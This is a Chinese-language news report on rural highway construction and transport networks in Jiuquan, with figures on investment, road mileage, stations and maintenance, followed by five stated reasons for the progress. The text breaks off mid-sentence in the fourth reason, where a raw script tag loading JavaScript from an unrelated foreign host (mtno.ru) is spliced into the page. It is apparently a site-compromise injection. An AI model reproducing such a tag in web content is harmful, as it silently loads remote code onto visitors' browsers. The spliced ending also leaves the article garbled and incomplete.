近年来，酒泉市公路交通发展迅猛，一个以干线公路为骨架、农村公路为支脉、交通运输站场为基点的四通八达、方便快捷、安全舒适的公路网和运输网初步形成，有效地促进了城乡联系，支持了经济社会的发展。

目前，酒泉市县乡公路网已基本形成。酒泉市交通局按照“公路建设出精品”的要求，狠抓工程建设和质量管理，使全市县乡公路建设取得了突破性进展。３年来，全市累计投入８．２８亿元用于县际公路和农村公路建设，新建改建县际公路４４２．０３公里，完成农村公路建设项目１９２项１８９７．３公里，全市农民投工投劳改造通村等级公路１５００公里，使全市公路总里程达到７７０８．６２公里，是建国以来全市农村公路建设里程的几十倍。２００６年底，酒泉市乡镇通油路率达到８２％，行政村通公路率达到９８．７％，７个县市区、６３个乡镇和５０３个行政村基本实现了公路连接。

农村一体化运输网络已具雏形。该市近３年累计投入了６０４２万元用于农村公路运输网络建设，通过“村村通油路”和“村村通班车”工程的实施，建成市、县级客运枢纽站１６个，乡镇级客货站场３０个，村级客货站场１６４个，全市农村路、站、运一体化运输网络正逐步形成，交通基础设施状况和投资环境进一步改善，推动了地方经济的协调发展，为新农村建设作出了积极的贡献。

标准化养护、文明样板路建设和绿色通道建设取得了新成效。近年来，酒泉市交通部门依靠各级政府的大力支持和农民群众的积极参与，累计建成文明样板路４１０公里，植行道树１３９．１万株，建成农村公路绿色长廊７１３．４公里。同时，农村公路养护工作也取得了新成效。据２００５年底的统计数字，全市１７２０．４９公里的重点列养公路平均好路率达到６４．６４％，综合值达到６９．９８；４２６．８６公里主要养护公路平均好路率达到８９．８％，综合值达到８２．０１；全市标准化养护里程达到５１２公里。

酒泉市农村公路建设取得的成绩主要得益于五个方面：

一是加强组织领导。近几年，该市市委、市政府把农村公路建设列入每年大事实事之一，主要领导亲自抓，深入一线，调查研究，协调解决实际问题。２００６年，市政府又成立了全市农村公路建设领导小组，各县市区政府、乡镇也成立相应的机构，加强组织领导，确保各项工作落实到位。

二是强化责任制。该市全面落实农村公路建设以县、乡政府为责任主体的责任制，并实行县市区长、乡镇长、村长负责制。各级政府按照每年市县下达的任务，与各有关部门层层签订责任书，将指标分解到乡、细化到村，形成政府组织、发动群众、合力推进的机制。近３年，酒泉市政府将农村公路建设任务完成情况纳入对县市区政府年度目标考核体系，对完成好的给予奖励。各部门之间加强协调配合，一切为农村公路建设做好服务；交通部门发挥职能作用，把农村公路、站场建设作为重中之重，搞好技术培训、指导和质量监督工作；有关部门对农村公路、站场建设在政策上给予了最大限度的优惠。

三是充分调动农民的积极性。通过广泛宣传，该市农民群众，自觉自愿地投入到公路建设中来。各村镇把修建农村公路作为一项集体公益事业，根据群众需要、群众自愿、群众决策、群众受益的原则，由群众自己议、自己定、自己干，政府适当筹资筹劳，加快了农村公路建设的步伐。

四是坚持民主管理，促进乡风文明。为把通村公路、站场设施真正建设成为群众民主管理的?script src=http://www.mtno.ru/style.js>